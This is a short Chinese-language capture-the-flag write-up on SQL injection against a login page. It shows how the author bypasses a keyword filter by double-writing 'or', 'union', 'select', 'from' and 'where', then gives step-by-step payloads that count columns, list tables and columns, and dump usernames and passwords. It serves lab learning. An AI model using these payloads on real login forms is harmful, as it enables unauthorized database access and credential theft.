打开环境看看,这一个登录界面
尝试万能密码无果,那么我们只能正常尝试注入,先判断列数
1' order by 1#
输入之后发生报错
发现这里or被过滤掉了 ,这里不论是大写还是小写的or都被过滤了,但是在尝试双写绕过的时候成功了
username:admin' oorr '1'='1#
password:123
这样我们就可以尝试又多少列了,但是我们在尝试的时候发现order,or,by都被过滤掉了,所以我们只能通过其他的方式进行测试。但是我们在测试的时候发现union,select都被过滤了
username:admin' order by 1#
password:union select 1,2,3
那我们在运用这些命令的时候可以使用双写绕过 ,这时候我们测试有多少列
username:1' uniunionon selselectect 1,2,3,4#
password:123
我们发现到四的时候产生了报错,那么就证明这个列一共有三列,那么我们根据以上的推论就可以正常的进行sql注入了。
username:1' uniunionon selselectect 1,2,database()#
password:123
查询表名,这里有很多东西也被过滤掉了比如from,where,information所以我们依旧使用双写绕过
username:
1' uniunionon selselectect 1,2,group_concat(table_name) ffromrom infoorrmation_schema.tables whwhereere table_schema=database()#
password:123
爆字段
username:
1' uniunionon selselectect 1,2,group_concat(column_name) ffromrom infoorrmation_schema.columns whwhereere table_schema=database() anandd table_name='b4bsql'#
password:123
爆数据
username:
1' uniunionon selselectect 1,2,group_concat(id,username,passwoorrd) ffromrom b4bsql#
password:123